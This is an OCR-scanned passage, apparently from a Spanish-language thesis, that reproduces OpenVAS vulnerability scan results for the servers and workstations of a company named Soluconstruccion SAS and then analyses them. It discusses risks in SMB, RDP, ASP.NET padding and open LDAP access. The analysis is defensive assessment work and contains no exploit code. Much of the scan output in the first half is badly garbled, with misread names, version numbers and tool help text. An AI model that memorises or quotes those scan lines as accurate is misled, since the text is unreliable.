Vo

102011 microsoft-ds (445Acp)
Family name: Service detection

Category: nfos
Copyright: Copyrght (C) 2009 LSS

Low @D

Summary: EXYacts 10 abowt e OF theough NTLM seiantication packets

Version: SRevaion: 13554 §

SMB on port 445 11011 microsof-ds (4481cp) Low D
Famidy namae: Wodows
A CFS server is running oo ths port Category: nfos
CVSS Base Score - 0.0 Copyright: Tois scrigt s Copyright {C) 2002 Renaud Deramcn
4’@ 2 Y: Checks for ofport 845
Version: SRevaon: 136753
SMB Test 90011 general (CSMBClent) Low D
Family name: Winddws
05 Verson « WINDOWS SERVER (R) 2008 STANDARD S001 SERVICE PACK 1
Deemain » SOLUCORSTRUCCIO Categoey: nfos
SMB Serverversien = WNDOWS SERVER (R) 2006 STANDARD & 0
Copyright: Copyrght (C) 2008 Greenbone Networks Gmb
CVSS Base Score 1 0.0 Summary: Detecmines the 05 and SNB Verson of Most
Vo Version: SRevaon: 133583
SME MativelLanMan 102011 microsoft-ds (445/tcp) Low [N

Overview:

It is possible to extract OF, domain and SMB server information

from the Session Setup AndX Response packst which is generated
diuring NTLM suthentication.

Detected SME workgroup: SOLUCONSTRUCCIO

Detected SMB server: Windows Server (R) 2008 Standard 8.0
Detected OS: Windows Server (R) 2008 Standard 8001 Service Pack 1

CVSS Base Score : 0.0

VL

SMB on port 445

A CIFS server is running on this port

CVSS Base Score : 0.0

VL

Identify unknown services with nmap

nmap thinks ldap is running on this port

‘CV'55 Base Score - 0.0

VDL

Family name: Service detection

Category: infos

Copyright: Copyright (C) 2008 LSS

Summary: Extracts info sbout the OF throwgh NTLM suthentication pachkets

Version: 3Revision: 11584 3

11011 microsoft-ds {445/ tcp)
Family name: Windows
Category: infos
Copyright: This script is Copyright {C) 2002 Renaud Deraison
Summary: Checks for openness of port 445
Version: 3Revision: 13675 3
86285 msft-gc (3268/tcp)
Family name: Service detection
Category: infos
Copyright: Copyright {c) 2008 E-Soft Inc. http:/iwaw. securityspace. com
Summary: Launches nmap -s\ against ports renning unidentified services

Version: 3Revision: 12384 3
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Fiaura 75. (Continuacion)

SMD Test

G5 Versioo « WNDOWS SERVER (R) 2008 STANDARD 8001 SERVEE PALK |
Comam « SOLUCONSTRUCCO

348 Serverversen = WhSows Server (R) 2002 Slantard 8.6

CVSS Base Soare - 008

QU

Identify uUaknown servicos with nmag

e funts Bap ® ruming o s gott
CVSS Base Scare - 00

QU

SM8 Test

05 Versnn « Wedows Server () 2006 Stardard 0201 Service Pack |
Oorram « SOLUCONSTRUCCO
e = WRDOWS SERVER (R} 2038 STANDARD 6 0

CVSS Sase Scare - 00

Vo

W0 (RASL wrapper)
Flere i the Wkto report:
Unknown 2pten: ash

~Coeiens 3Co0 Meose CG drn: "tone’, "off, ar valuas e
e lep-a”

~Sbchech chech dalstae And N kay Ties fOr wyoax srrers (Canssl De alirevales)

“OvmaEne ta CuRann intheagee
Farmets save Me (<) termal

Astetarget howt

“Nep Cxtended 2ep niormesen

Ad host adthentcaton 9 wee. onmat 5 sserd password
-si-pugins List af svalabe pogins

-mutones Quess addtenal Me names
-Mutate-Options« Provide exra nformation far muastens
~sutpute Wrks cuut 1o (e Ne
-necache Omaties fa LSS cache

“nensl Dmashes usng S5

404 Dimgtews 404 Chetin

P Ust 31 plugns to run {detaut ALL)

~parts Fort 10 ane (defaul 5)

~Desptay= Tam coiott dapiey autsons

-s3i Farce asl mode on port

-Single Snghe request mode

~meouts Timeout (defaut 7 secenss)
~Tutings Scan tanng

~dale Lpdele datatasss asd plupes frum oot net (Cansol De attrevaled)
ersan Priv pUEm nd datatwas seraoas

Anosts Vs host {for Host basder)

* rocuTes 3 voue

LOAF Detaction
A LOAR Seevar m ninnmg of fris 2ot
The Lightweigst Dyeciony Access Potocol of LDAF s an appbcetien
b=

CVSS Base Sowre 1 0.0

vou

P Protocol

The Wcomsoh Rarrets Dewttop Prowcsl (ROF) & mmng of the host Remate
Denttap Sarvices, rmetly brown as Termma Servcen, i oae af it congosests
o Nictosoft Waedows (bath serves and chert versions| ihat alows & usef 1o
A0CL3S ADPMCEtNns ord 3083 60 & remale COMpeter gver a retwark

CVES Bene Scare 00
v

DNS Server Detection

Overvew:

A DNS Sarver m runang at s Host

A Kamae Servar rasabies deman names it § addrasses. Ths mekas ¢
potadie S 8 User 10 ACTEES 4 Webale By [yping i Be domin name saless of
the wotate's actsal P asdress

CVES Bawe Score 30

V@

o011 grneral (USICH) ww (D
Famty name: Wadswa

Category: n%os

Copynight: Topyright (C1 2600 Greentone letworks G
Semmary: Determines e OS5 snd SME Versan of Hoat
Version: SRevsion 113803

56286 maR-pc (3265400) cow [N
Famity name: Servce detecton
Category: n%w

Copyrght: Copyrgnt (¢) 000 £-528 NC MIEIW W SECUTyspace con
Sommary: Laurches nmap -5V g parts rstneg andertling sarvoes
Varsion: SRevaion 113245
#0011 ganeral (LSWSCeet) Low @D
Faemiy naene: Vit
Category: nis
yrigh yrgnt (C) 2508 G

Sammary: Determmes tie OS5 a0 SUE Versin of Hoat
Version: $Revsian 11382 5

1420 hiw (BOtes) Low D
Family name: Web apptcaton sbeses
Category: xfis

Copyright: This acopt s Copyright (C) 2034 Miche! Arba
Summary: Assess weli sever sscirty wih ek
Versioe: SRevaen 12154 3

100012 wap Q0T Law [N
Famiby name; Secice detaction
Catngary: nics

Copyrght: Thas sorgt m Capyright (C) 2909 Gresntone Hetworks Gt
Suenmuary: Chest ter LLAN
Version; SRevson 13234 §

100082 mo.wix-sarver (38300} Low [HW
Family name | Wndiws
Categary: nfow

Copyright: Tha sorgt & Cagyrigt (C) 2003 Groentone Hetwnrks Gt
Sammary: Chect fis Ycrawa® Hesxite Cusktvs Bresoznl
Version: Siavann 13324 5

100083 domam (S3%0p) Low D
Farmiby name: Desernl
Catogory: nfos
Copyrht: Tha soret i Capyright () 2208 Gresatone Networks Qe
Summary: Detrct DHS Servers
Version: 3Revenn 11334
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Fiaura 75. (Continuacion)
05 fingerprinting

CNP bosed OF Mngemmnt reauls: {80% confdence)
Wermoh Wadswe
CVSS funa Score 00

v

DIRIS [NASL wrapper)

DRS coakd 70! be 220nd & yaur systern som

OparVAS was anable to execets DIRE and to pevform Me scan you
reguested

Pease mabe sore that DRD m wstsled and »

wendntie ¥ the PATH varabie defowed far your mrveormmet

CVSES Bana Scom 00

v
Thecks tor open udp ports
Opan UDS ports: [Nose found)
CVES Dove Score 00
VoL
SMB Test

05 Version = Windows Server (R) 2008 Standard 8001 Service Pack 1
Domain = SOLUCONSTRUCCIO
SMB Serverversion = WINDOWS SERVER (R) 2008 STANDARD 6.0

CVS5E Base Score : 0.0
VL
SMB Test

08 Version = Windows Server (R) 2008 Standard 8001 Service Pack 1
Domain = SOLUCOMSTRUCCIO
SMB Serverversion = Windows Server {R) 2008 Standard 6.0

CVES Base Score : 0.0
vou

LDAP Detection
A LDAP Server is running at this host.
The Lightweight Directory Access Protocol, or LDAF is an application
protocol for guerying and modifying directony services running over
TCP/IP.

CVES Base Score : 0.0

VDL

Uniog NetBOS to Info froma

The tplramg 4 NetNO% numes have bewn gathered

SERVZ = Tha i e computae same regilared R wortsluson servicss by & WS chert.

SOLUCOMSTRULCID » Workproup ¢ Dossin nene
EOLLCOMSTRUCCID » Workproup / Domain name (Doman Canirolier)
BERV2 « Comguter name

The reote tost has e Sslowing MAL sddress po (s atapier

0 Do Zgetonae

I you 00 601 WA 10 0w evaryoas 0 NG De NeEas name
Of yOur COmpAter, yOu shoukd Sler nComing trafic to this part

CVSS Nowe Gcore 00
v

Vondows SharePoint Services detectinn

Berver MoDsoNA57 0

Oparxieg Gystem Typs: Ymdows 2000 / Viste
NoAmphiol Verngn J 0 52727

KPuwarad-By ASDNET

CVSE Base Score - 00

v
Autores.

192902 pararal (A} Low D
Famity naene: Pradect detsction
Cetegory: nlos
Copyright: Copyvight (T} 2083 LES
y: Cwlects rameie g wystem vervien
Vursion: Sevann 12400 §
103579 paracal A Low @D
Farmnity naene: Web apeicaton abeses
Category: nhos
Copyright: Copyright (C} 2011 Greesbone Natwarss G
Sommary: Urats 008 wab aps Srechres/ s
Varsion: SHevann 15384 §
190578 pararal (0 Low D
Famnity naene: Caneral
Category: nlos
Copyright: Cogywight (c) 2012 Greentore Networks Gt
Sommary: Chack Cges UOP Ports
Varsion: Sevann 12365 5
20011 general (VSMBClient) Low [T
Family name: Windows
Category: infos
Copyright: Copyright (C) 2008 Greenbone Metworks GmbH
Summary: Determines the 05 and SMB Version of Host
Version: $Revision: 13388 §
20011 general (VSMBEClient) Low [
Family name: Windows
Category: infos
Copyright: Copyright (C) 2008 Greenbone Metworks GmbH
Summary: Determines the 05 and SMB Version of Host
Version: $Revision: 13388 §
100082 kiap (388itcp) Low [
Family name: Service detection
Category: infos
Copyright: This script is Copyright {C) 2005 Greenbone Networks GmbH
Summary: Check for LDAP
Version: $Revision: 13384 5
13150 netuea-as (137u8p) Lew (XD
Famity name: YWonsows
Category: nios

141

Copyright: This scnot m Copymight (C) 1395 GacurTean
Sommary: Ustrg NetfiD5 49 retrmys nifermatios Srom s Windows hos!

Versson: Sieviagn 13338 §

e *ip (30%0p) v D

Family name: Setvice Selecion
Category: nfoy
Copyright: Chisten £rx Edangume

¥ Wed S Pokd Services G

Version: §ievaon 123558 §



ANALISIS DE RESULTADOS Y CONCLUSIONES

Acorde con los resultados encontrados producto del escaneo de vulnerabilidades
efectuado al Universo de prueba previamente establecido, es pertinente hacer las
siguientes acotaciones:

Para el caso del grupo de los servidores se evidencia que sus vulnerabilidades
mas relevantes categorizadas como: Serias y de Alto Impacto (Serious, High)
estan relacionadas con huecos de seguridad afines a vulnerabilidades de
denegacion de servicio y revelacion de Informacion sensible presentes en los
servicios: SMB (Puerto: 445/tcp) y RDP (ms-wbt-server (3389/tcp) de los
servidores: servl, serv2 y acceso_remoto.

En el primer caso (SMB: Puerto 445/tcp), puede permitir a un atacante ejecutar
codigo malicioso en el sistema con privilegios de administrador, lo que facilitaria la
realizacion de ataques de denegacion de servicio, que comprometeria el normal
funcionamiento de servidores como: SERV1, el cual al contener las aplicaciones
de Soluconstrucciéon SAS, podria verse gravemente afectado, al imposibilitar el
normal funcionamiento del ERP y por ende el normal desempefio de los procesos
y procedimientos internos ejecutados por las diferentes areas de la compafiia:
como el proceso de facturacion, lo que significaria “dinero perdido” por cada hora
del servicio fuera de linea.

Para el segundo caso relacionado con el Protocolo de Escritorio Remoto (ms-whbt-
server (3389/tcp), se puede observar que esta vulnerabilidad permitiria un
atacante mediante la técnica de hombre en el medio, obtener informacion sensible
al calcular una firma valida almacenada en la libreria mstlsapi.dil que contiene una
clave privada RSA del Servidor Terminal Services. Esta situacion conllevaria a que
se pudiera relevar informacién sensible financiera, clientes, productos, precios,
inventario, etc. de Soluconstruccion, a través de las conexiones remotas al
Servidor de ACCESO_REMOTO (Terminal Services) frecuentemente usadas por
los Asesores comerciales y Gerencia general cuando se requiere consultar el
ERP. Tal situacion puede ser aprovechada por el espionaje industrial de algun
competidor desleal.

Por otra parte existe una tercera vulnerabilidad encontrada en SERVZ2,
directamente relacionada con ASP.net (Microsoft ASP.NET Information Disclosure
Vulnerability) el cual es causado por un error en el manejo del relleno en el cifrado
(padding) en modo CBC. Escenario que puede ser explotado para descifrar los
datos a través de los codigos de error devueltos por un servidor afectado, con esto
se podria descifrar y consultar datos sensibles encriptados por el servidor dentro
de una aplicacion ASP.NET.
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A pesar de que en OSSIM esta vulnerabilidad esta clasificada con un impacto
Medio, para Soluconstruccion SAS, se ha clasificado como de alta prioridad, ya
qgue su aplicacion de nomina fue desarrollada con el lenguaje programacion en
mencion y existe por tanto un alta probabilidad de ser un objetivo por parte de
ataques que busquen obtener informacién sobre salarios, prestaciones y demas
aspectos confidenciales propios de la nomina de la compafia.

En lo respectivo al andlisis del grupo de servidores se observa que hay otro hueco
de seguridad categorizado con un impacto Medio, relacionado con el protocolo
LDAP usado para la consulta del directorio activo en los controladores de dominio.
Esta ultima permite llegar a la conclusion que la configuracion actual de los
mismos no es adecuada, ya que el directorio puede ser consultado sin ningun tipo
de restriccion con herramientas como ‘'LdapMiner' modificando la estructura del
mismo sin ninguna autorizacion. Esta falla comprometeria enormemente el
dominio interno de Soluconstruccidon, mas exactamente la estructura del directorio
activo en términos de sus objetos: Computadores, Usuarios, Politicas de Grupo,
privilegios, PDCs esclavos, etc.,, debi6 a que su explotacibn permitiria la
eliminacién de usuarios, escalamiento de privilegios, modificacién en la replicacion
de los controladores del dominio e incluso se el cambio de contrasefias de algunas
cuentas de red criticas como: Tesoreria, Contabilidad, Caja y el mismo
Administrador del Dominio.

En lo respectivo al grupo de Estaciones de Trabajo como Tesoreria, es relevante
mencionar que se esperaba obtener una mayor cantidad de vulnerabilidades en
comparacion con los servidores, sin embargo se encuentra que la estacion de
trabajo escaneada presenta un fallo de seguridad en comun con uno de los
servidores, mas exactamente se hace referencia a la vulnerabilidad: (Microsoft
ASP.NET Information Disclosure Vulnerability), que compromete la revelacion de
informacion cifrada mediante relleno (padding) usado en la estacién de Tesoreria
para conectarse al ERP, que puede incidir de forma importante en la revelacion
datos sensibles de las cuentas bancarias empresariales, pago a proveedores,
compra de divisas, etc.

Para terminar el analisis de vulnerabilidades se puede concluir que el resto de
vulnerabilidades tanto para el grupo de estaciones de trabajo como servidores,
aungue no menos importantes, se han clasificado con impacto Menor (Low). En
Su mayoria estan relacionadas con aspectos como:

e Descubrimiento de puertos y servicios (DNS, DHCP, RDP, etc.).

e Descubrimiento del dominio/Grupo de trabajo al que pertenece un
equipo/servidor.
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Finalmente con base en los resultados obtenidos se realizo una reunion de
socializacion, para informar los hallazgos encontrados a los siguientes
Stakeholders®3:

e Coordinador de Tecnologia.

e Gerencia General

e Gerencia Administrativa y Financiera.

e Help Desk.

e Integrantes del grupo de trabajo del presente proyecto.

>3 Stakeholders: También conocidos como involucrados, comUnmente este término es asociado a
aquellas personas u organizaciones que tienen participacion en un proyecto, o cuyos intereses
pueden verse afectados positiva 0 negativamente por la ejecucion o finalizacién del mismo. Estos
pueden ejercer algun tipo de influencia sobre el proyecto y sus resultados. Descripcién tomada del
PMBOK del PMI 42 Edicién.
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